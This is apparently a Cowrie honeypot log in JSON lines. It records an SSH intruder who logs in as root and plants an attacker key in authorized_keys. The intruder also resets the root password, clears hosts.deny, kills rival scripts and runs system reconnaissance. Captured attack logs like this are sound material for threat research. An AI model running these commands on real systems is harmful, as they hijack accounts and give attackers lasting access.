{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":52166,"dst_ip":"159.203.135.109","dst_port":22,"session":"856ff9a02dcc","protocol":"ssh","message":"New connection: 1.214.117.218:52166 (159.203.135.109:22) [session: 856ff9a02dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:41.291175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:41.296015Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:41.496037Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13579","message":"login attempt [root/13579] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:42.323614Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:42.765217Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:42.768487Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:42.772276Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:42.973646Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.795655727386475,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.282702Z","src_ip":"101.37.83.79","session":"90e95360475c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.406380Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.409479Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.612535Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.615516Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":52174,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6fd70e28872","protocol":"ssh","message":"New connection: 1.214.117.218:52174 (159.203.135.109:22) [session: f6fd70e28872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.824664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:43.829071Z","src_ip":"1.214.117.218","session":"f6fd70e28872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:44.037391Z","src_ip":"1.214.117.218","session":"f6fd70e28872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:44.903834Z","src_ip":"1.214.117.218","session":"f6fd70e28872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58834,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b0e69a3cf6","protocol":"telnet","message":"New connection: 101.37.83.79:58834 (159.203.135.109:23) [session: 90b0e69a3cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:45.494501Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:46.115170Z","src_ip":"1.214.117.218","session":"f6fd70e28872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0cd60464973","protocol":"telnet","message":"New connection: 101.37.83.79:58846 (159.203.135.109:23) [session: c0cd60464973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:47.769979Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:52.345445Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:52.348340Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:52.549484Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:52.975540Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:4pvdA9O71PYB\"|chpasswd|bash","message":"CMD: echo \"root:4pvdA9O71PYB\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:52.978649Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0792dc8cd0b3463b7ed48d3e33a8d9df027a1c8de6dbf8930f7c18c7fc085b62","size":24,"shasum":"0792dc8cd0b3463b7ed48d3e33a8d9df027a1c8de6dbf8930f7c18c7fc085b62","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/0792dc8cd0b3463b7ed48d3e33a8d9df027a1c8de6dbf8930f7c18c7fc085b62 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:53.179367Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:53.631536Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:53.634341Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:53.840419Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:53.844068Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:54.275479Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:54.278676Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:54.481205Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:54.925468Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:54.928898Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:55.132761Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:55.565872Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:55.568465Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:55.571620Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:55.775148Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:56.211010Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:56.213701Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:56.415305Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:56.849489Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:56.852585Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:57.054785Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:57.499220Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:57.502329Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:57.706418Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.144711Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.148240Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.351515Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.783485Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.786141Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:58.988905Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:59.419110Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:59.422613Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
